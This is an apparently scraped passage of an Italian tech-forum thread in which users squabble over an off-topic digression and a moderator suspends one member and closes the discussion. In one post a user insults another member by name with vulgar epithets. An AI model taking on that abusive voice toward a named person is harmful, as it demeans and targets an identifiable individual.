Qual'è il tuo problema? siete andati ot punto e basta, ho cercato in modo scherzoso di farvelo notare ma qualcuno se ne fregato anzi..... poi erano le 5 quando ho scritto il post ed avevo sbagliato a quotarlo, penso di aver spiegato tutto tramite pm a Chukie, non ho niente da dirti ed infatti non mi sono mai rivolto a te se non per il fatto di stoppare l'ot, ciao
Chi deve scendere da dove?
Che noi siamo andati OT ok, ci siamo capiti, mi scuso a nome degli interessati che sicuramente saranno d'accordo in questo proposito.
Ma non ti pare di aver esagerato un po'?
Se da una parte noi siamo andati OT in questo thread, comunque parlando di qualcosa inerente alla sezione, qual e' l'utilita' dei tuoi post in questo thread?
Sinceramente non ne vedo. Hai gia' "richiamato" una volta, che motivo hai per scrivere piu' volte la stessa cosa?
Se c'e' qualcosa che non va penso ci siano moderatori, no?
Comunque dopo questo post cerchero' di non andare piu' OT.
Chiedo scusa per l'OT, soprattutto all'autore del thread.
Qual'è il tuo problema? siete andati ot punto e basta, ho cercato in modo scherzoso di farvelo notare ma qualcuno se ne fregato anzi..... poi erano le 5 quando ho scritto il post ed avevo sbagliato a quotarlo, penso di aver spiegato tutto tramite pm a Chukie, non ho niente da dirti ed infatti non mi sono mai rivolto a te se non per il fatto di stoppare l'ot, ciao
71104
02-09-2007, 00:53
mah, io non capisco perché tutti continuate a dire che si è trattato di un OT... si trattava invece di una questione molto importante ai fini dell'oggetto del thread, anche se discussa in maniera molto tecnica. prevenire le injection non è così facile come prevenire altri tipi di infezione.
Sisupoika
02-09-2007, 16:34
Qual'è il tuo problema? siete andati ot punto e basta, ho cercato in modo scherzoso di farvelo notare ma qualcuno se ne fregato anzi..... poi erano le 5 quando ho scritto il post ed avevo sbagliato a quotarlo, penso di aver spiegato tutto tramite pm a Chukie, non ho niente da dirti ed infatti non mi sono mai rivolto a te se non per il fatto di stoppare l'ot, ciao
Cio' non toglie che il tuo modo e' polemico e non ne vedo la ragione.
Cio' non toglie che il tuo modo e' polemico e non ne vedo la ragione.
nV 25
02-09-2007, 22:08
se tutti siete scesi dal piedistallo mi permetterei di salirvi io....
No, eh? :mbe:
C'ho provato, grazie lo stesso... :D :D
No, eh? :mbe:
C'ho provato, grazie lo stesso... :D :D
pistolino
02-09-2007, 22:09
:mbe:
Bevuto troppo? :fagiano: :D
Regards
Bevuto troppo? :fagiano: :D
Regards
nV 25
02-09-2007, 22:34
prima che mi sospendano per la 2° volta a causa del solito testa di cazzo, ecco chi è lucas:
http://www.hwupgrade.it/forum/showthread.php?t=1519430 :read:
http://www.hwupgrade.it/forum/showthread.php?t=1541875 :read:
E' un emerito coglione e noi gli abbiamo dato anche troppo spazio
EDIT:
aggiungo che potrei inserire altre discussioni dove in calce è possibile rinvenire gli iluminanti commenti del soggetto in questione, ma ve le risparmio per una questione di decenza verso le vostre intelligenze/persone...
AH, mi sono levato un peso e m'importa una straricca sega delle conseguenze che queste mie affermazioni potranno avere qui su Hw, ma quando è troppo, è troppo..
Saluti e scusate ancora...
http://www.hwupgrade.it/forum/showthread.php?t=1519430 :read:
http://www.hwupgrade.it/forum/showthread.php?t=1541875 :read:
E' un emerito coglione e noi gli abbiamo dato anche troppo spazio
EDIT:
aggiungo che potrei inserire altre discussioni dove in calce è possibile rinvenire gli iluminanti commenti del soggetto in questione, ma ve le risparmio per una questione di decenza verso le vostre intelligenze/persone...
AH, mi sono levato un peso e m'importa una straricca sega delle conseguenze che queste mie affermazioni potranno avere qui su Hw, ma quando è troppo, è troppo..
Saluti e scusate ancora...
lucas84
02-09-2007, 22:45
Bravo:)
c.m.g
03-09-2007, 02:43
se tutti siete scesi dal piedistallo mi permetterei di salirvi io....
No, eh? :mbe:
C'ho provato, grazie lo stesso... :D :D
:rotfl:
p.s.: mi piace il tuo modo di scrivere i post, è unico, come le tue battute! :D
No, eh? :mbe:
C'ho provato, grazie lo stesso... :D :D
:rotfl:
p.s.: mi piace il tuo modo di scrivere i post, è unico, come le tue battute! :D
stesio54
04-09-2007, 00:56
prima che mi sospendano per la 2° volta a causa del solito testa di cazzo, ecco chi è lucas:
http://www.hwupgrade.it/forum/showthread.php?t=1519430 :read:
http://www.hwupgrade.it/forum/showthread.php?t=1541875 :read:
E' un emerito coglione e noi gli abbiamo dato anche troppo spazio
EDIT:
aggiungo che potrei inserire altre discussioni dove in calce è possibile rinvenire gli iluminanti commenti del soggetto in questione, ma ve le risparmio per una questione di decenza verso le vostre intelligenze/persone...
AH, mi sono levato un peso e m'importa una straricca sega delle conseguenze che queste mie affermazioni potranno avere qui su Hw, ma quando è troppo, è troppo..
Saluti e scusate ancora...
contento te contenti tutti.
7 giorni sospeso.
chiudo la discussione e se avete dell beghe...ci sono i pvt o la ignore list....ci siamo capiti?
http://www.hwupgrade.it/forum/showthread.php?t=1519430 :read:
http://www.hwupgrade.it/forum/showthread.php?t=1541875 :read:
E' un emerito coglione e noi gli abbiamo dato anche troppo spazio
EDIT:
aggiungo che potrei inserire altre discussioni dove in calce è possibile rinvenire gli iluminanti commenti del soggetto in questione, ma ve le risparmio per una questione di decenza verso le vostre intelligenze/persone...
AH, mi sono levato un peso e m'importa una straricca sega delle conseguenze che queste mie affermazioni potranno avere qui su Hw, ma quando è troppo, è troppo..
Saluti e scusate ancora...
contento te contenti tutti.
7 giorni sospeso.
chiudo la discussione e se avete dell beghe...ci sono i pvt o la ignore list....ci siamo capiti?
vBulletin® v3.6.4, Copyright ©2000-2026, Jelsoft Enterprises Ltd.